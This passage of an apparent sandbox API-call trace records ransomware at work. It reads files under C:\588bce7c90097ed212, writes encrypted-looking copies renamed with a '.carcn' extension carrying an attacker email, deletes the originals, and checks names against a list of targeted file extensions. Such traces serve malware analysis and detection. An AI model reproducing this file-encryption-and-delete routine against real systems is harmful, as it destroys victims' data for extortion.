hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x13b62, lpOverlapped=0x0) returned 1 [0161.447] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x13b70, lpOverlapped=0x0) returned 1 [0161.449] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0161.449] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.449] SetEndOfFile (hFile=0x310) returned 1 [0161.449] CloseHandle (hObject=0x310) returned 1 [0161.451] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.451] SetEndOfFile (hFile=0x2f8) returned 1 [0161.452] CloseHandle (hObject=0x2f8) returned 1 [0161.452] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.452] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0161.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0161.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0161.452] lstrlenW (lpString=".doc") returned 4 [0161.452] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.453] lstrlenW (lpString=".docx") returned 5 [0161.453] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.453] lstrlenW (lpString=".pdf") returned 4 [0161.453] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.453] lstrlenW (lpString=".xls") returned 4 [0161.453] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.453] lstrlenW (lpString=".xlsx") returned 5 [0161.453] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.453] lstrlenW (lpString=".ppt") returned 4 [0161.453] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0161.453] lstrlenW (lpString=".zip") returned 4 [0161.453] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.453] lstrlenW (lpString=".rar") returned 4 [0161.453] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.453] lstrlenW (lpString=".bz2") returned 4 [0161.453] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.453] lstrlenW (lpString=".7z") returned 3 [0161.453] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0161.453] lstrlenW (lpString=".dbf") returned 4 [0161.453] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0161.453] lstrlenW (lpString=".1cd") returned 4 [0161.453] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0161.453] lstrlenW (lpString=".jpg") returned 4 [0161.453] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0161.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0161.454] lstrlenW (lpString=".doc") returned 4 [0161.454] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.454] lstrlenW (lpString=".docx") returned 5 [0161.454] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.454] lstrlenW (lpString=".pdf") returned 4 [0161.454] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.454] lstrlenW (lpString=".xls") returned 4 [0161.454] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.454] lstrlenW (lpString=".xlsx") returned 5 [0161.454] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.454] lstrlenW (lpString=".ppt") returned 4 [0161.454] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0161.454] lstrlenW (lpString=".zip") returned 4 [0161.454] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.454] lstrlenW (lpString=".rar") returned 4 [0161.454] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.454] lstrlenW (lpString=".bz2") returned 4 [0161.454] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.454] lstrlenW (lpString=".7z") returned 3 [0161.454] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0161.454] lstrlenW (lpString=".dbf") returned 4 [0161.454] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0161.454] lstrlenW (lpString=".1cd") returned 4 [0161.454] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0161.454] lstrlenW (lpString=".jpg") returned 4 [0161.454] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.455] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.455] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.455] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.455] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=77680) returned 1 [0161.455] CloseHandle (hObject=0x2f8) returned 1 [0161.455] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0161.456] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.457] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.458] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.458] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0161.461] GetLastError () returned 0x0 [0161.461] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x12f70, lpOverlapped=0x0) returned 1 [0161.588] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x12f80, lpOverlapped=0x0) returned 1 [0161.590] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0161.590] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.590] SetEndOfFile (hFile=0x360) returned 1 [0161.591] CloseHandle (hObject=0x360) returned 1 [0161.592] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.592] SetEndOfFile (hFile=0x2d4) returned 1 [0161.593] CloseHandle (hObject=0x2d4) returned 1 [0161.593] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.594] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0161.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0161.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0161.594] lstrlenW (lpString=".doc") returned 4 [0161.594] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.594] lstrlenW (lpString=".docx") returned 5 [0161.594] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.594] lstrlenW (lpString=".pdf") returned 4 [0161.594] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.594] lstrlenW (lpString=".xls") returned 4 [0161.594] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.594] lstrlenW (lpString=".xlsx") returned 5 [0161.594] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.594] lstrlenW (lpString=".ppt") returned 4 [0161.594] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0161.595] lstrlenW (lpString=".zip") returned 4 [0161.595] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.595] lstrlenW (lpString=".rar") returned 4 [0161.595] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.595] lstrlenW (lpString=".bz2") returned 4 [0161.595] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.595] lstrlenW (lpString=".7z") returned 3 [0161.595] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0161.595] lstrlenW (lpString=".dbf") returned 4 [0161.595] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0161.595] lstrlenW (lpString=".1cd") returned 4 [0161.595] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0161.595] lstrlenW (lpString=".jpg") returned 4 [0161.595] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0161.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0161.595] lstrlenW (lpString=".doc") returned 4 [0161.595] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.595] lstrlenW (lpString=".docx") returned 5 [0161.595] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.595] lstrlenW (lpString=".pdf") returned 4 [0161.595] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.595] lstrlenW (lpString=".xls") returned 4 [0161.595] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.595] lstrlenW (lpString=".xlsx") returned 5 [0161.595] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.595] lstrlenW (lpString=".ppt") returned 4 [0161.596] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0161.596] lstrlenW (lpString=".zip") returned 4 [0161.596] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.596] lstrlenW (lpString=".rar") returned 4 [0161.596] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.596] lstrlenW (lpString=".bz2") returned 4 [0161.596] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.596] lstrlenW (lpString=".7z") returned 3 [0161.596] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0161.596] lstrlenW (lpString=".dbf") returned 4 [0161.596] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0161.596] lstrlenW (lpString=".1cd") returned 4 [0161.596] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0161.596] lstrlenW (lpString=".jpg") returned 4 [0161.596] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.596] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.596] lstrlenW (lpString="eula.rtf") returned 8 [0161.596] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.597] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=5827) returned 1 [0161.597] CloseHandle (hObject=0x2d4) returned 1 [0161.597] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0161.597] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.597] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.597] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.597] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.598] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0161.598] GetLastError () returned 0x0 [0161.598] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x16c3, lpOverlapped=0x0) returned 1 [0161.649] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x16d0, lpOverlapped=0x0) returned 1 [0161.650] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0161.650] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.650] SetEndOfFile (hFile=0x360) returned 1 [0161.651] CloseHandle (hObject=0x360) returned 1 [0161.651] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.659] SetEndOfFile (hFile=0x2d4) returned 1 [0161.660] CloseHandle (hObject=0x2d4) returned 1 [0161.661] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.661] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0161.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0161.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0161.661] lstrlenW (lpString=".doc") returned 4 [0161.661] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.661] lstrlenW (lpString=".docx") returned 5 [0161.661] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.661] lstrlenW (lpString=".pdf") returned 4 [0161.661] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.661] lstrlenW (lpString=".xls") returned 4 [0161.661] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.661] lstrlenW (lpString=".xlsx") returned 5 [0161.661] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.661] lstrlenW (lpString=".ppt") returned 4 [0161.661] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0161.661] lstrlenW (lpString=".zip") returned 4 [0161.662] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.662] lstrlenW (lpString=".rar") returned 4 [0161.662] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.662] lstrlenW (lpString=".bz2") returned 4 [0161.662] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.662] lstrlenW (lpString=".7z") returned 3 [0161.662] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0161.662] lstrlenW (lpString=".dbf") returned 4 [0161.662] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0161.662] lstrlenW (lpString=".1cd") returned 4 [0161.662] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0161.662] lstrlenW (lpString=".jpg") returned 4 [0161.662] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0161.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0161.662] lstrlenW (lpString=".doc") returned 4 [0161.662] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.662] lstrlenW (lpString=".docx") returned 5 [0161.662] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.662] lstrlenW (lpString=".pdf") returned 4 [0161.662] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.662] lstrlenW (lpString=".xls") returned 4 [0161.662] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.662] lstrlenW (lpString=".xlsx") returned 5 [0161.663] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.663] lstrlenW (lpString=".ppt") returned 4 [0161.663] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0161.663] lstrlenW (lpString=".zip") returned 4 [0161.663] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.663] lstrlenW (lpString=".rar") returned 4 [0161.663] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.663] lstrlenW (lpString=".bz2") returned 4 [0161.663] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.663] lstrlenW (lpString=".7z") returned 3 [0161.663] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0161.663] lstrlenW (lpString=".dbf") returned 4 [0161.663] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0161.663] lstrlenW (lpString=".1cd") returned 4 [0161.663] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0161.663] lstrlenW (lpString=".jpg") returned 4 [0161.663] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.663] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.663] lstrlenW (lpString="eula.rtf") returned 8 [0161.663] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.664] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=6309) returned 1 [0161.664] CloseHandle (hObject=0x2d4) returned 1 [0161.664] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0161.664] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.664] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.664] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0161.664] GetLastError () returned 0x0 [0161.664] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x18a5, lpOverlapped=0x0) returned 1 [0161.693] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x18b0, lpOverlapped=0x0) returned 1 [0161.694] ReadFile (in: hFile=0x2d4, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0161.694] WriteFile (in: hFile=0x360, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.694] SetEndOfFile (hFile=0x360) returned 1 [0161.694] CloseHandle (hObject=0x360) returned 1 [0161.695] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0161.695] SetEndOfFile (hFile=0x2d4) returned 1 [0161.696] CloseHandle (hObject=0x2d4) returned 1 [0161.696] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.696] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0161.696] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0161.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0161.697] lstrlenW (lpString=".doc") returned 4 [0161.697] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.697] lstrlenW (lpString=".docx") returned 5 [0161.697] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.697] lstrlenW (lpString=".pdf") returned 4 [0161.697] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.697] lstrlenW (lpString=".xls") returned 4 [0161.697] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.697] lstrlenW (lpString=".xlsx") returned 5 [0161.697] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.697] lstrlenW (lpString=".ppt") returned 4 [0161.697] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0161.697] lstrlenW 